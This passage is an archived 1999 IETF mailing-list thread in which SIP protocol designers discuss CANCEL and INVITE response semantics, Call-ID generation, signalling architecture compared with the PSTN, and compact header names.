> > > PSTN-SIP gateway should operate ?
> > 
> > Some of us had a long-standing intention to write such a "best 
> practices"
> > document, but were just to busy to get it done. It should be 
> looked as a to
> > do work item for this group I believe.
> 
> Henry,
> 
> I think a draft about PSTN-SIP mapping is important enough that it
> should not be included in a general "best current practices" draft. I
> would like to have a draft just about this mapping.
> 
> There are lots of issues that could be addressed by the draft (message
> flow, mapping of parameters, address translation, implementation of
> services...). Then, inside PSTN, we have many protocols (ISUP, TUP...),
> and the mapping between them and SIP have some differences.
> 
> We intend to write such a draft... I think that it cannot wait any
> longer to be written.
> 
> Best regards,
> 
> Gonzalo
> -- 
> Gonzalo Camarillo         Phone :  +358  9 299 33 71
> Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
> Telecom R&D               Fax   :  +358  9 299 31 18
> FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
> Finland
> 

From confctrl-owner  Fri May 28 07:24:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA13981
	for confctrl-outgoing; Fri, 28 May 1999 07:24:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA13976
	for <confctrl@zephyr.isi.edu>; Fri, 28 May 1999 07:24:05 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA20669
	for <confctrl@isi.edu>; Fri, 28 May 1999 07:24:04 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Fri May 28 10:22:53 EDT 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id KAA02382;
	Fri, 28 May 1999 10:22:52 -0400 (EDT)
Message-ID: <374EA38B.795894A2@dnrc.bell-labs.com>
Date: Fri, 28 May 1999 10:09:15 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Lars Berggren <lars.berggren@intertex.se>
CC: Jeff Mark <Jeff.Mark@Dialogic.com>,
        "Adam B. Roach" <Adam.Roach@ericsson.com>, confctrl@ISI.EDU
Subject: Re: SIP: CANCEL request/2xx-response to INVITE
References: <002201bea89f$f632bfa0$9c839892@dialogic.com> <374E203A.E5A8B4D5@dnrc.bell-labs.com> <374E8B9D.F1FB8943@intertex.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Lars Berggren wrote:
> 

> > At first, Jeff's proposal (send a 4xx of some sort to the CANCEL if it
> > arrives after a response is sent), seems like it might solve this
> > problem too. If the proxy gets a 200 to the CANCEL, its safe to
> > terminate. If its the 4xx, it should wait for the response. This works
> > at the proxy which talks to the UAS, but not at any other proxy. Thats
> > because each proxy will generate its own local 200 response to the
> > CANCEL before even forwarding the CANCEL. Thus, a proxy receiving the
> > 200 OK won't know whether the next hop was a proxy or a UAS. Having
> > different semantics for 200 CANCEL based on next hop is very bad and
> > won't work.
> >
> > Comments?
> >
> 
> The solution you describe ( 200 to CANCEL and then 4xx to INVITE ) seems
> to me like a good solution. However there might be a backward
> compability problem.
> 
> I don't know if you mean that the 4xx to the INVITE is to be
> retransmitted as the final responses to INVITEs usually are. If it is
> retransmitted, I think an existing UAC/proxy can get confused when they
> send a CANCEL, receives a 200 to it and still gets a lot of final
> responses to the INVITE which they will have to ACK to get rid of. In
> the current state diagram for the INVITE method, a CANCEL with a 200
> response causes these retransmissions to stop without having to ACK
> them. But things will still work, since the client should be prepared to
> receive final responses even if they get a 200 to a CANCEL ( In the case
> where the server already had sent final responses. ).

In the current specification, a UAC/proxy has to be prepared to receive
a final response to the INVITE (200 or otherwise), after sending a
CANCEL, and even after getting a 200 OK to the CANCEL. If the CANCEL and
final response to the INVITE pass each other on the wire, the UAC/proxy
will still need to send an ACK to the final response (assuming its not a
200 response). So, there should not be backwards compatibility problems,
as an implementation should be prepared to receive any final response to
the INVITE after sending a CANCEL.

As far as the UAS is concerned, it sent a final response and then the
got the CANCEL; so, it sends a 200 OK to the CANCEL, but otherwise
ignores it. This means that the UAS will continue to retransmit the
final response. So, a proxy/UAC should also be prepared to receive
retransmissions of the final response to the INVITE, even after a
CANCEL.

> 
> On the other hand, if this 4xx is not retransmitted, what about
> reliability issues?
> 
> Also of course, this solution requires fundamental server behaviour
> modifications to the rfc.

No, it does not, as I point out above. It just makes a more unusual case
(but still a possible one) more likely.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Fri May 28 08:09:13 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA18403
	for confctrl-outgoing; Fri, 28 May 1999 08:09:13 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA18398
	for <confctrl@zephyr.isi.edu>; Fri, 28 May 1999 08:09:11 -0700 (PDT)
Received: from hromeo.algonet.se (hromeo.algonet.se [194.213.74.10])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA22577
	for <confctrl@isi.edu>; Fri, 28 May 1999 08:09:10 -0700 (PDT)
Received: (qmail 6527 invoked from network); 28 May 1999 17:09:07 +0200
Received: from du59-251.ppp.algonet.se (HELO felix.intertex.se) (195.100.251.59)
  by hromeo.algonet.se with SMTP; 28 May 1999 17:09:07 +0200
Message-ID: <374EB2C2.1210E4E9@intertex.se>
Date: Fri, 28 May 1999 17:14:10 +0200
From: Lars Berggren <lars.berggren@intertex.se>
Organization: Intertex Data AB
X-Mailer: Mozilla 4.06C-Caldera [en] (X11; I; Linux 2.0.35 i686)
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: Jeff Mark <Jeff.Mark@Dialogic.com>,
        "Adam B. Roach" <Adam.Roach@ericsson.com>, confctrl@ISI.EDU
Subject: Re: SIP: CANCEL request/2xx-response to INVITE
References: <002201bea89f$f632bfa0$9c839892@dialogic.com> <374E203A.E5A8B4D5@dnrc.bell-labs.com> <374E8B9D.F1FB8943@intertex.se> <374EA38B.795894A2@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Rosenberg wrote:
> 
> Lars Berggren wrote:
> >
> 
> > > At first, Jeff's proposal (send a 4xx of some sort to the CANCEL if it
> > > arrives after a response is sent), seems like it might solve this
> > > problem too. If the proxy gets a 200 to the CANCEL, its safe to
> > > terminate. If its the 4xx, it should wait for the response. This works
> > > at the proxy which talks to the UAS, but not at any other proxy. Thats
> > > because each proxy will generate its own local 200 response to the
> > > CANCEL before even forwarding the CANCEL. Thus, a proxy receiving the
> > > 200 OK won't know whether the next hop was a proxy or a UAS. Having
> > > different semantics for 200 CANCEL based on next hop is very bad and
> > > won't work.
> > >
> > > Comments?
> > >
> >
> > The solution you describe ( 200 to CANCEL and then 4xx to INVITE ) seems
> > to me like a good solution. However there might be a backward
> > compability problem.
> >
> > I don't know if you mean that the 4xx to the INVITE is to be
> > retransmitted as the final responses to INVITEs usually are. If it is
> > retransmitted, I think an existing UAC/proxy can get confused when they
> > send a CANCEL, receives a 200 to it and still gets a lot of final
> > responses to the INVITE which they will have to ACK to get rid of. In
> > the current state diagram for the INVITE method, a CANCEL with a 200
> > response causes these retransmissions to stop without having to ACK
> > them. But things will still work, since the client should be prepared to
> > receive final responses even if they get a 200 to a CANCEL ( In the case
> > where the server already had sent final responses. ).
> 
> In the current specification, a UAC/proxy has to be prepared to receive
> a final response to the INVITE (200 or otherwise), after sending a
> CANCEL, and even after getting a 200 OK to the CANCEL. If the CANCEL and
> final response to the INVITE pass each other on the wire, the UAC/proxy
> will still need to send an ACK to the final response (assuming its not a
> 200 response). So, there should not be backwards compatibility problems,
> as an implementation should be prepared to receive any final response to
> the INVITE after sending a CANCEL.

Agreed. The client always has to ACK final responses to INVITEs.

> 
> As far as the UAS is concerned, it sent a final response and then the
> got the CANCEL; so, it sends a 200 OK to the CANCEL, but otherwise
> ignores it. This means that the UAS will continue to retransmit the
> final response. So, a proxy/UAC should also be prepared to receive
> retransmissions of the final response to the INVITE, even after a
> CANCEL.

I do not agree that the server will continue to retransmit. This is
where the changes has to be made. See my comments below.

> 
> >
> > On the other hand, if this 4xx is not retransmitted, what about
> > reliability issues?
> >
> > Also of course, this solution requires fundamental server behaviour
> > modifications to the rfc.
> 
> No, it does not, as I point out above. It just makes a more unusual case
> (but still a possible one) more likely.

Well, in the server state diagram for the INVITE method (rfc2543, figure
13), there is an arrow going from the 'failure' state to the 'initial'
state. This state change is triggered by the CANCEL request. The
retransmissions occur in the 'failure' state. How then, can the UAS
continue to retransmit the final response if not this behaviour is
changed?

Lars.

> 
> -Jonathan R.
> 
> --
> Jonathan D. Rosenberg                       Lucent Technologies
> Member of Technical Staff                   101 Crawfords Corner Rd.
> High Speed Networks Research                Holmdel, NJ 07733
> FAX:   (732) 834-5379                       Rm. 4C-526
> EMAIL: jdrosen@bell-labs.com
> URL: http://www.cs.columbia.edu/~jdrosen

-- 
Lars Berggren       <lars.berggren@intertex.se>
Intertex Data AB    tel: +46-8-6282828
Sundbyberg, Sweden  fax: +46-8-6286414

From confctrl-owner  Fri May 28 09:09:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA22969
	for confctrl-outgoing; Fri, 28 May 1999 09:09:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA22962
	for <confctrl@zephyr.isi.edu>; Fri, 28 May 1999 09:09:02 -0700 (PDT)
Received: from custmail.concentric.net (custmail.concentric.net [205.158.16.13])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA26306
	for <confctrl@ISI.EDU>; Fri, 28 May 1999 09:09:01 -0700 (PDT)
Received: from packetstream.com ([216.112.2.42])
	by custmail.concentric.net (8.9.1/8.9.1) with ESMTP id JAA16275
	for <confctrl@ISI.EDU>; Fri, 28 May 1999 09:09:00 -0700 (PDT)
Message-ID: <374EC2FB.7062DDAB@packetstream.com>
Date: Fri, 28 May 1999 09:23:24 -0700
From: Sanjay Nayak <sanjay@packetstream.com>
Reply-To: sanjay@packetstream.com
X-Mailer: Mozilla 4.5 [en] (Win95; U)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: why  one level of signalling 
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I am interested in know why there is one-level of signalling between the
SIP clients .In the PSTN there is two level of signalling. One is
between the end-terminal to the local switch and othere one is between
the switch-to -switch.

-sanjay


From confctrl-owner  Fri May 28 10:41:42 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA00439
	for confctrl-outgoing; Fri, 28 May 1999 10:41:42 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA00434
	for <confctrl@zephyr.isi.edu>; Fri, 28 May 1999 10:41:40 -0700 (PDT)
Received: from aardvark.aciri.org ([192.150.187.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA05488
	for <confctrl@ISI.EDU>; Fri, 28 May 1999 10:41:39 -0700 (PDT)
Received: from aardvark.aciri.org (localhost [127.0.0.1])
	by aardvark.aciri.org (8.9.2/8.9.2) with ESMTP id KAA51237;
	Fri, 28 May 1999 10:41:34 -0700 (PDT)
From: Mark Handley <mjh@aciri.org>
X-Organisation: ACIRI
To: sanjay@packetstream.com
cc: confctrl@ISI.EDU
Subject: Re: why one level of signalling 
In-reply-to: Your message of "Fri, 28 May 1999 09:23:24 PDT."
             <374EC2FB.7062DDAB@packetstream.com> 
Date: Fri, 28 May 1999 10:41:34 -0700
Message-ID: <51235.927913294@aardvark.aciri.org>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>I am interested in know why there is one-level of signalling between the
>SIP clients .In the PSTN there is two level of signalling. One is
>between the end-terminal to the local switch and othere one is between
>the switch-to -switch.

Actually a better question is why do you need more than one level of
signalling in the PSTN?  The primary answer is that phones are dumb
and switches are smart.  With IP end-systems, this smart/dumb
distinction is reversed - end-systems are smart and routers are
comparatively dumb.

Thus to make a regular IP-based call, you don't need any smarts from
the network.  One end system directly calls another end-system, and
all the routers do is move packet around.  There's only fate-sharing
between the two end-systems - any of the intervening routers can lose
state, and (pending route convergence) the call stays up.

In practice though, sometimes you want intervening proxies because you
want to do access control, resource reservation, user location, and
other such services.  However you don't want to design an architecture
that mandates a distinction between calling a proxy and calling an
end-system.  An example is where my IP telephone can redirect calls to
my cellphone when I'm not home, and perform access control on these
redirected calls.  In this case it's a proxy, but if I was home it'd
be a telephone again.

Does this help explain a little of the thinking behind the SIP
architecture?  

Cheers,
	Mark



From confctrl-owner  Fri May 28 11:58:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA09437
	for confctrl-outgoing; Fri, 28 May 1999 11:58:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA09432
	for <confctrl@zephyr.isi.edu>; Fri, 28 May 1999 11:58:05 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id LAA15255
	for <confctrl@isi.edu>; Fri, 28 May 1999 11:58:04 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Fri May 28 14:57:48 EDT 1999
Received: from dnrc.bell-labs.com (igorspc [135.180.130.146])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id OAA08847;
	Fri, 28 May 1999 14:57:45 -0400 (EDT)
Message-ID: <374EE743.E46E0681@dnrc.bell-labs.com>
Date: Fri, 28 May 1999 14:58:11 -0400
From: Igor Slepchin <igors@dnrc.bell-labs.com>
Organization: Bell Labs
X-Mailer: Mozilla 4.6 [en] (WinNT; U)
X-Accept-Language: en,ru
MIME-Version: 1.0
To: Lars Berggren <lars.berggren@intertex.se>
CC: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Jeff Mark <Jeff.Mark@Dialogic.com>, confctrl@ISI.EDU
Subject: Re: SIP: CANCEL request/2xx-response to INVITE
References: <002201bea89f$f632bfa0$9c839892@dialogic.com> <374E203A.E5A8B4D5@dnrc.bell-labs.com> <374E8B9D.F1FB8943@intertex.se> <374EA38B.795894A2@dnrc.bell-labs.com> <374EB2C2.1210E4E9@intertex.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Lars Berggren wrote:
> 
> Well, in the server state diagram for the INVITE method (rfc2543, figure
> 13), there is an arrow going from the 'failure' state to the 'initial'
> state. This state change is triggered by the CANCEL request. The
> retransmissions occur in the 'failure' state. How then, can the UAS
> continue to retransmit the final response if not this behaviour is
> changed?
> 
> Lars.
> 

This diagram also does not include the state transitions to handle
CANCEL in Success or Confirmed state (it should be 200Ok'ed without any
state change). These actions are explained elsewhere in the RFC, though.
However, I agree that what Jonathan suggested changes UAS's behavior in
Failure state: section 1.5.1 says the following:

Response retransmissions cease when:
...
3. a CANCEL request for the same call leg is received and the
   final response status was equal or greater to 300;

---
Igor Slepchin

From confctrl-owner  Fri May 28 13:10:59 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA17952
	for confctrl-outgoing; Fri, 28 May 1999 13:10:59 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA17946
	for <confctrl@zephyr.isi.edu>; Fri, 28 May 1999 13:10:56 -0700 (PDT)
Received: from bounty.cisco.com (bounty.cisco.com [161.44.2.72])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA22574
	for <confctrl@ISI.EDU>; Fri, 28 May 1999 13:10:54 -0700 (PDT)
Received: from cisco.com (bounty.cisco.com [161.44.2.72])
	by bounty.cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) with ESMTP id QAA22024;
	Fri, 28 May 1999 16:10:22 -0400 (EDT)
Message-ID: <374EF82E.C44600D7@cisco.com>
Date: Fri, 28 May 1999 16:10:22 -0400
From: Shail Bhatnagar <shbhatna@cisco.com>
Organization: CISCO
X-Mailer: Mozilla 4.51C-CISCOENG [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: SIP Call ID 
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Is there an upper bound on the size of SIP Call-ID ? What is the 
recommended algorithm for generating the Call-ID . My understanding 
is that a GUID is generated by 
( Time stamp(8 bytes) + counter(2 bytes) + MAC address(6 bytes)).

Thanks,
-- 
Best regards,
Shail

From confctrl-owner  Fri May 28 19:08:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA00849
	for confctrl-outgoing; Fri, 28 May 1999 19:08:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA00844
	for <confctrl@zephyr.isi.edu>; Fri, 28 May 1999 19:08:03 -0700 (PDT)
Received: from pm03sm.pmm.cw.net (pm03sm.pmm.cw.net [208.159.98.152])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id TAA18961
	for <confctrl@ISI.EDU>; Fri, 28 May 1999 19:08:02 -0700 (PDT)
Received: from cs.columbia.edu
 (usr53-dialup41.mix2.Boston.cw.net [166.62.199.41])
 by PM03SM.PMM.CW.NET (PMDF V5.2-29 #35317)
 with ESMTP id <0FCH00MZA1W9HG@PM03SM.PMM.CW.NET> for confctrl@ISI.EDU; Sat,
 29 May 1999 02:07:31 +0000 (GMT)
Date: Fri, 28 May 1999 22:09:00 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Subject: Re: SIP Call ID
To: Shail Bhatnagar <shbhatna@cisco.com>
Cc: confctrl@ISI.EDU
Reply-to: hgs@cs.columbia.edu
Message-id: <374F4C3C.798FA653@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
MIME-version: 1.0
X-Mailer: Mozilla 4.51 [en] (Win98; I)
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7bit
X-Accept-Language: en-US,de
References: <374EF82E.C44600D7@cisco.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Shail Bhatnagar wrote:
> 
> Is there an upper bound on the size of SIP Call-ID ? 

The spec does not specify any, beyond the usual message-length
limitations in case of TCP. It is likely that an implementation would
either store a variable-length string or, for matching purposes, a
suitable hash value. It appears unlikely that somebody would choose a
256-byte call identifier, but it seems safer to force implementations to
deal with arbitrary string lengths rather than introduce magic numbers.
(After all, numbers should be either 0, 1 or infinity...)

> What is the
> recommended algorithm for generating the Call-ID . My understanding
> is that a GUID is generated by
> ( Time stamp(8 bytes) + counter(2 bytes) + MAC address(6 bytes)).

In one of the spec versions, we did use GUIDs. Indeed, the SIP page
(http://www.cs.columbia.edu/~hgs/sip/related.html) lists an Internet
draft describing how to generate one. However, since standards-track
RFCs can't reference I-D in a normative fashion, the description of how
to generate the ID was removed, with only the requirement of local or
global uniqueness remaining. Since the GUID draft would have expired
last August but is still in the I-D archives, I'm assuming that it it
wending its way through the standardization or at least publication
process. If it becomes a standard (as opposed to an informational or
experimental RFC), the next SIP RFC can cite it. If it becomes just an
informational RFC, it can probably be suggested as one possible
alternative for generating suitable IDs. See also the draft
"Recommendations for generating Message IDs" referenced on above-noted
web page for additional hints.

> 
> Thanks,
> --
> Best regards,
> Shail

From confctrl-owner  Fri May 28 19:20:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA06481
	for confctrl-outgoing; Fri, 28 May 1999 19:20:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA06466
	for <confctrl@zephyr.isi.edu>; Fri, 28 May 1999 19:20:06 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id TAA19455
	for <confctrl@isi.edu>; Fri, 28 May 1999 19:20:03 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Fri May 28 22:18:20 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.101])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id WAA10129;
	Fri, 28 May 1999 22:18:19 -0400 (EDT)
Message-ID: <374F4E86.32A5EE48@dnrc.bell-labs.com>
Date: Fri, 28 May 1999 22:18:46 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Shail Bhatnagar <shbhatna@cisco.com>
CC: confctrl@ISI.EDU
Subject: Re: SIP Call ID
References: <374EF82E.C44600D7@cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

There is no upper bound. 

There is no specific recommended algorithm for guaranteeing uniqueness.
Pick any you like so long as it meets the requirements. One possible
approach is defined in:

http://search.ietf.org/internet-drafts/draft-leach-uuids-guids-01.txt

-Jonathan R.



Shail Bhatnagar wrote:
> 
> Is there an upper bound on the size of SIP Call-ID ? What is the
> recommended algorithm for generating the Call-ID . My understanding
> is that a GUID is generated by
> ( Time stamp(8 bytes) + counter(2 bytes) + MAC address(6 bytes)).
> 
> Thanks,
> --
> Best regards,
> Shail

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Fri May 28 19:34:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA12983
	for confctrl-outgoing; Fri, 28 May 1999 19:34:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA12959
	for <confctrl@zephyr.isi.edu>; Fri, 28 May 1999 19:34:05 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id TAA20165
	for <confctrl@isi.edu>; Fri, 28 May 1999 19:34:02 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Fri May 28 22:33:00 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.101])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id WAA10287;
	Fri, 28 May 1999 22:32:57 -0400 (EDT)
Message-ID: <374F51F4.28D00BFE@dnrc.bell-labs.com>
Date: Fri, 28 May 1999 22:33:24 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Igor Slepchin <igors@dnrc.bell-labs.com>
CC: Lars Berggren <lars.berggren@intertex.se>,
        Jeff Mark <Jeff.Mark@Dialogic.com>, confctrl@ISI.EDU
Subject: Re: SIP: CANCEL request/2xx-response to INVITE
References: <002201bea89f$f632bfa0$9c839892@dialogic.com> <374E203A.E5A8B4D5@dnrc.bell-labs.com> <374E8B9D.F1FB8943@intertex.se> <374EA38B.795894A2@dnrc.bell-labs.com> <374EB2C2.1210E4E9@intertex.se> <374EE743.E46E0681@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Igor Slepchin wrote:
> 

> This diagram also does not include the state transitions to handle
> CANCEL in Success or Confirmed state (it should be 200Ok'ed without any
> state change). These actions are explained elsewhere in the RFC, though.
> However, I agree that what Jonathan suggested changes UAS's behavior in
> Failure state: section 1.5.1 says the following:
> 
> Response retransmissions cease when:
> ...
> 3. a CANCEL request for the same call leg is received and the
>    final response status was equal or greater to 300;

Forgot about that... OK, so in that case there is not really a big
problem. A proxy which gets a 200 to the CANCEL knows that either:

a. no response will be sent to the INVITE (if CANCEL came before the
INVITE response was sent)
b. a non-200 response to INVITE may have been sent, but isn't being
retransmitted, so it can be ignored, and treated as if it were never
sent
c. a 200 response to INVITE may have been sent, and it will be
transmitted according to normal procedures.

In all three cases, the proxy is reasonably safe in destroying state. In
case (c) it should be acting as a stateless proxy anyway (forwarding
responses upstream), case (a) there are no subsequent responses. Case
(b) is mildly problematic. Lets say a 300 response was sent to the
INVITE. If the proxy destroys state before it arrives, the proxy will
forward the 300 upstream (since it destroyed state and doesn't remember
that it sent a CANCEL and should rather drop the response). So, if all
the proxies along the path go stateless, this rogue 300 might reach the
UAC. This is in addition to 200's which will (and should) reach the UAC.
This is quite a corner case, though. My original proposal helps it here,
but it can still happen in other cases (a proxy which simply times out,
returns a 408 response, goes stateless, and later receives a very late
response to the INVITE). So, I doubt its worth it.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Sun May 30 08:13:00 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA25039
	for confctrl-outgoing; Sun, 30 May 1999 08:13:00 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA25020
	for <confctrl@zephyr.isi.edu>; Sun, 30 May 1999 08:12:58 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA09873
	for <confctrl@isi.edu>; Sun, 30 May 1999 08:12:57 -0700 (PDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id LAA08336;
	Sun, 30 May 1999 11:12:56 -0400 (EDT)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id LAA26342;
	Sun, 30 May 1999 11:12:55 -0400 (EDT)
Message-ID: <37515576.E0D229AC@cs.columbia.edu>
Date: Sun, 30 May 1999 11:12:54 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Scott Petrack <scott.petrack@metatel.com>
CC: mjh@aciri.org, schooler@cs.caltech.edu, jdrosen@bell-labs.com,
        confctrl@ISI.EDU
Subject: Re: Compact name for CSeq: (and for everything else)
References: <Pine.LNX.4.10.9905300957250.2995-100000@petrack.metatel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Scott Petrack wrote:
> 
> For a particular application I am doing I have a severe bandwidth
> constraint, and since CSeq: is a mandatory field, I would like to ask that
> you bless a compact name for it. I'll vote for "q".

The one problem I have with creating abbreviations for headers such as
CSeq is that it immediately breaks all implementations. This wouldn't be
so bad for informational headers (Organization, Subject, Priority, etc.)
[and we might indeed want to do this], but is more serious for headers
like CSeq, which are necessary for a proxy or UAS to process the
request. Given that the savings is 3 bytes, I have to admit to a certain
reluctance to breaking all existing implementations. (I know that we
have no "legal" obligation to be backward compatible as we move to Draft
Standard, but it doesn't exactly help the reputation of the protocol to
make what may seem like gratuitous, but crucial, changes to basic
aspects of it.)

Assuming you are carrying a real media stream, I have to assume that
your access bandwidth is at least 2.4 kb/s. At that rate, a 200-byte SIP
request would take about one second to transmit. Not great, but you can
still get decent post-dial delay performance.

